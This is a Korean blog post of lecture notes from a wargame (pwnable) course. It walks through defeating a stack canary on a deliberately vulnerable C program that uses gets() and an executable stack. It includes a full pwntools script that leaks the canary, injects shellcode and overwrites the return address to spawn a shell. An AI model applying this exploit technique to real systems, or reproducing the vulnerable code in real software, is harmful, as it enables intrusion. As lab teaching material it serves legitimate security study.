[pwnable] Canary

해당 포스팅은 드림핵의 강의를 정리한 글이다. 링크

밑에 있는 코드의 실행 파일에서 쉘을 따는 예제이다. buf의 주소가 주어지고 (아직 ASLR을 배우지 않은 상태이므로) buf와 rbp 사이의 거리가 주어진다. 따라서 gdb를 통해서 buf와 sfp간의 거리를 직접 찾아줄 필요가 없어졌다! 버퍼 오버플로우를 적당히 잘 일으켜서 카나리 값을 읽은 다음, 그 카나리 값을 카나리 위치에 잘 넣어서 __stack_chk_fail 함수를 건드리지 않으면서 ret 주소까지 overwrite 해주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

1. 카나리 읽기.

buf, canary, sfp, ret

이런 식으로 스택이 구성이 되어 있다. 우리는 각각이 얼마만큼의 크키를 차지하는지를 알아내고, 그 자리에 맞게 buffer overflow를 일으켜 카나리를 읽으면 된다. 여기서 좋은 점은 buf와 rbp(결국 sfp를 말한다) 사이의 거리를 주었다는 점이다. 64비트이므로 카나리의 크기는 8바이트임을 알고 있기 때문에, buf와 rbp 사이의 거리를 알고 있으면 buf와 sfp 사이의 거리 또한 알 수 있다. 따라서 우리는 저 distance between buf and $rbp 뒤에 오는 거리 값을 받아서, 거기서 8을 빼서 buf와 canary 사이의 거리를 구한 다음, 그만큼을 아무 값으로 채워 주면(오버플로우) 카나리를 읽을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# get distances
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16) # [:-1] : 마지막 \n 제거, 16진수를 10진수로
print(hex(buf))

p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline()[:-1])
print(buf2sfp)

buf2cnry = buf2sfp - 0x8 # 8차이 남

# get canary
payload = b'A'*(buf2cnry)
payload += b'A' # canary 맨 앞의 null byte까지 밀기
p.recvuntil("Input: ")
p.send(payload)

p.recvuntil(payload) # 보낸 페이로드가 null byte를 못 만나 쭉 출력이 된다
cnry = u64(b'\x00' + p.recvn(7)) # 8-1 = 7
print(hex(cnry))

2. return address 까지 덮기

위에서 카나리를 구했으므로, buf, canary, sfp, ret을 덮는 과정에서 canary를 보존하면서 ret 주소를 덮어주면 된다. 여기서 return 주소를 쉘을 실행하는 함수로 덮는 게 아니라, buf에 쉘코드를 주입한 후 ret 자리에 buf 주소를 넣어서 쉘코드가 실행되도록 하는 방법을 이용한다. 따라서 우리는

buf : buf2cnry만큼을 쉘코드로 덮고 나머지는 A로 채운다

canary : 위에서 구했으므로 그대로 넣어준다

sfp : 그냥 8바이트만큼 A로 채운다

ret : buf의 주소를 넣는다

이런 식으로 페이로드를 작성하면 된다.

1
2
3
4
5
6
7
8
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") # buf 덮기
payload += p64(cnry)
payload += b"A"*0x8
payload += p64(buf) # 위에서 구한 buf 주소로 덮기

p.recvuntil("Input: ")
p.sendline(payload)

따라서 전체 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

p = process("./r2s")

context.arch = "amd64"

# get distances
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16) # [:-1] : 마지막 \n 제거, 16진수를 10진수로
print(hex(buf))

p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline()[:-1])
print(buf2sfp)

buf2cnry = buf2sfp - 0x8 # 8차이 남

# get canary
payload = b'A'*(buf2cnry)
payload += b'A' # canary 맨 앞의 null byte까지 밀기
p.recvuntil("Input: ")
p.send(payload)

p.recvuntil(payload) # 보낸 페이로드가 null byte를 못 만나 쭉 출력이 된다
cnry = u64(b'\x00' + p.recvn(7)) # 8-1 = 7
print(hex(cnry))

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") # buf 덮기
payload += p64(cnry)
payload += b"A"*0x8
payload += p64(buf) # 위에서 구한 buf 주소로 덮기

p.recvuntil("Input: ")
p.sendline(payload)

p.interactive()